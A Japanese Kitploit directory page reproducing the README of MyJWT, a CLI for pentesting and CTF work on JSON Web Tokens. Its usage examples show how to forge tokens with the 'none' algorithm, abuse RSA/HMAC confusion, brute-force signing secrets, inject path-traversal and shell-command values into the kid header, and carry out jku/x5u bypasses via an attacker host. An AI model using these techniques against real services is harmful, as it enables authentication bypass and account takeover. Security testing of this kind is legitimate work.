Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
MyJWT — JWT(JSON Web Token)のクラッキングや脆弱性テストを行うためのCLI | Kitploit
ツール/GitHubGitHub/tyki6/myjwt
パスワードクラッキング脆弱性分析ウェブセキュリティペネトレーションテスト
GitHubtyki6/myjwt

MyJWT

JWT(JSON Web Token)のクラッキングや脆弱性テストを行うためのCLI

リポジトリを見る
1381910ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

MyJWT

mBouamama PyPI BlackArch package PyPI - Python Version PyPI - Download GitHub release (latest by date) Documentation Status Rawsec's CyberSecurity Inventory Code style: black codecov docstr_coverage codebeat badge Updates Known Vulnerabilities

はじめに

このCLIは、ペネトレーションテスター、CTFプレイヤー、または開発者向けです。
JWTの修正、署名、インジェクションなどが可能です。
詳細はドキュメントをご確認ください。
問題点や改善点がありましたら、Issueを送信してください。できるだけ早く対応します。
お楽しみください :)

ドキュメント

ドキュメントは http://myjwt.readthedocs.io で入手できます。

目次

  • 機能
  • インストール
  • 使い方
  • 例
  • ダウンロード
  • 貢献
  • 変更履歴

機能

  • 新しいJWTをクリップボードにコピー
  • ユーザーインターフェース (questionaryに感謝)
  • カラー出力
  • JWTの変更 (ヘッダー/ペイロード)
  • None脆弱性
  • RSA/HMAC混乱
  • キーでJWTに署名
  • ブルートフォースでキーを推測
  • 正規表現でJWTを解析してキーを推測
  • kidインジェクション
  • Jkuバイパス
  • X5uバイパス

インストール

myjwtをインストールするには、pipを使用するだけです:

root@kitploit:~
pip install myjwt

Dockerイメージからmyjwtを実行するには、次のコマンドを実行します:

root@kitploit:~
docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

# mount volume for wordlist
docker run -v $(pwd)/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# On Windows
docker run -v %CD%/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

gitからmyjwtをインストールするには:

root@kitploit:~
git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help

BlackArchにmyjwtをインストールするには:

root@kitploit:~
pacman -S myjwt

Packaging status

使い方

root@kitploit:~
$ myjwt --help
Usage: myjwt [OPTIONS] JWT

  This cli is for pentesters, CTF players, or dev.
  You can modify your jwt, sign, inject ,etc...
  Full documentation is at http://myjwt.readthedocs.io.
  If you see problems or enhancement send an issue.I will respond as soon as possible.
  Enjoy :)
  All new jwt will be copy to the clipboard.

Options:
  --version                    Show the version and exit.
  --full-payload TEXT          New payload for your jwt.Json format Required.
  -h, --add-header TEXT        Add a new key, value to your jwt header, if key
                               is present old value will be replaced.Format:
                               key=value.

  -p, --add-payload TEXT       Add a new key, value to your jwt payload, if
                               key is present old value will be
                               replaced.Format: key=value.

  --sign TEXT                  Sign Your jwt with key given.
  --verify TEXT                verify your key.
  -none, --none-vulnerability  Check None Alg vulnerability.
  --hmac PATH                  Check RS/HMAC Alg vulnerability.
  --bruteforce PATH            Bruteforce to guess the secret used to sign the
                               token.

  -r, --crack TEXT             regex to iterate all string possibilities to
                               guess the secret used to sign the token.

  --kid TEXT                   Kid Injection sql
  --jku TEXT                   Jku Header to bypass authentication
  --x5u TEXT                   X5u Header to bypass authentication
  --crt TEXT                   For x5cHeader, force crt file
  --key TEXT                   For jku or x5c Header, force private key to
                               your key file

  --file TEXT                  For jku Header and x5u Header, force file name
  --print                      Print Decoded JWT
  -u, --url TEXT               Url to send your jwt.
  -m, --method TEXT            Method use for send request to url.(Default
                               GET).

  -d, --data TEXT              Data send to your url.Format: key=value. if
                               value = MY_JWT value will be replace by new
                               jwt.

  -c, --cookies TEXT           Cookies to send to your url.Format: key=value.
                               if value = MY_JWT value will be replace by new
                               jwt.

  --help                       Show this message and exit.

JWTの変更

JWTの確認 (HSアルゴリズム)

オプションタイプ例説明
--signtextmysecretkeyキーでJWTに署名します
--verifytextmysecretkeyキーを検証します。

攻撃手法

JWTの送信

その他

例

  • JWTの変更
  • None脆弱性チェック
  • 署名キー
  • ブルートフォース署名
  • RSA/HMAC混乱
  • Kidインジェクション
  • 新しいJWTをURLに送信
  • Jku脆弱性
  • X5u脆弱性

JWTの変更

CLI

root@kitploit:~
myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"

Code

root@kitploit:~
from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt

jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]

完全な例はこちら: 01-modify-jwt

None脆弱性

CLI

root@kitploit:~
myjwt YOUR_JWT --none-vulnerability

CODE

root@kitploit:~
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])

完全な例はこちら: 02-none-vulnerability

署名キー

CLI

root@kitploit:~
myjwt YOUR_JWT --sign YOUR_KEY

CODE

root@kitploit:~
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)

完全な例はこちら: 03-sign-key

ブルートフォース

CLI

root@kitploit:~
myjwt YOUR_JWT --bruteforce PATH

CODE

root@kitploit:~
from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)

完全な例はこちら: 04-brute-force

Crack

CLI

root@kitploit:~
myjwt YOUR_JWT --crack REGEX

RSA/HMAC混乱

CLI

root@kitploit:~
myjwt YOUR_JWT --hmac FILE

CODE

root@kitploit:~
from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)

完全な例はこちら: 05-rsa-hmac-confusion

Kidインジェクション

CLI

root@kitploit:~
myjwt YOUR_JWT --kid INJECTION

Code

root@kitploit:~
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid

injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)

完全な例はこちら: 06-kid-injection

新しいJWTをURLに送信

CLI

root@kitploit:~
myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"

Jku脆弱性

CLI

root@kitploit:~
myjwt YOUR_JWT --jku YOUR_URL

Code

root@kitploit:~
from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

完全な例はこちら: 07-jku-bypass

X5U脆弱性

CLI

root@kitploit:~
myjwt YOUR_JWT --x5u YOUR_URL

Code

root@kitploit:~
from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

完全な例はこちら: 08-x5u-bypass

ダウンロード

GitHubのリリースを確認してください。最新版は https://github.com/mBouamama/MyJWT/releases/latest から入手できます。

貢献

  • このリポジトリをフォークするか、クローンします
  • 新しいブランチを作成します(feature、hotfixなど)
  • 必要な変更を加え、それらの変更をコミットします
  • make lint でlintを確認
  • make test で単体テストを確認
  • プルリクエストを送信 できるだけ早く確認します。

変更履歴

ログがかなり長くなったため、専用のファイルに移動しました。

CHANGES を参照してください。

ツールをダウンロード
オプションタイプ例説明
--ful-payloadJSON{"user": "admin"}JWTの新しいペイロード。
-h, --add-headerkey=valueuser=adminヘッダーに新しいキーと値を追加します。キーが既に存在する場合は古い値が置き換えられます。
-p, --add-payloadkey=valueuser=adminペイロードに新しいキーと値を追加します。キーが既に存在する場合は古い値が置き換えられます。
オプションタイプ例説明
-none, --none-vulnerabilityなしNone Alg脆弱性をチェックします。
--hmacPATH./public.pemRS/HMAC Alg脆弱性をチェックし、公開キーでJWTに署名します。
--bruteforcePATH./wordlist/big.txtトークンの署名に使用されたシークレットを推測するためのブルートフォース。全てのパスワードが1行に1つずつ格納されたテキストファイルを使用します。
--crackREGEX"[a-z]{4}"トークンの署名に使用されたシークレットを推測するために、すべての文字列の可能性を反復する正規表現。
--kidtext"00; echo /etc/.passwd"Kid Injection SQL
--jkutextMYPUBLICIP認証をバイパスするためのJkuヘッダー。jwksファイル名を変更したい場合は--fileを、独自の秘密PEMを使用したい場合は--keyを使用します。
--x5utextMYPUBLICIP認証をバイパスするためのX5uヘッダー。jwksファイル名を変更したい場合は--fileを、独自の秘密PEMを使用したい場合は--keyを使用します。
オプションタイプ例説明
-u, --urlurlhttp://challenge01.root-me.org/web-serveur/ch59/adminJWTを送信するURL。
-m, --methodtextPOSTURLへのリクエストに使用するメソッド。(デフォルト: GET)。
-d, --datakey=valuesecret=MY_JWTURLに送信するデータ。形式: key=value。値がMY_JWTの場合、新しいJWTに置き換えられます。
-c, --cookieskey=valuesecret=MY_JWTURLに送信するクッキー。形式: key=value。値がMY_JWTの場合、新しいJWTに置き換えられます。
オプションタイプ例説明
--crtPATH./public.crtx5cHeader用に、crtファイルを強制します。
--keyPATH./private.pemjkuまたはx5cヘッダー用に、秘密キーをキーファイルに強制します。
--filetextmyfilejkuヘッダー用に、.json拡張子なしのファイル名を強制します。
--printなしデコードされたJWTを表示します。
--helpなしヘルプメッセージを表示して終了します。
--versionなしMyjwtのバージョンを表示します。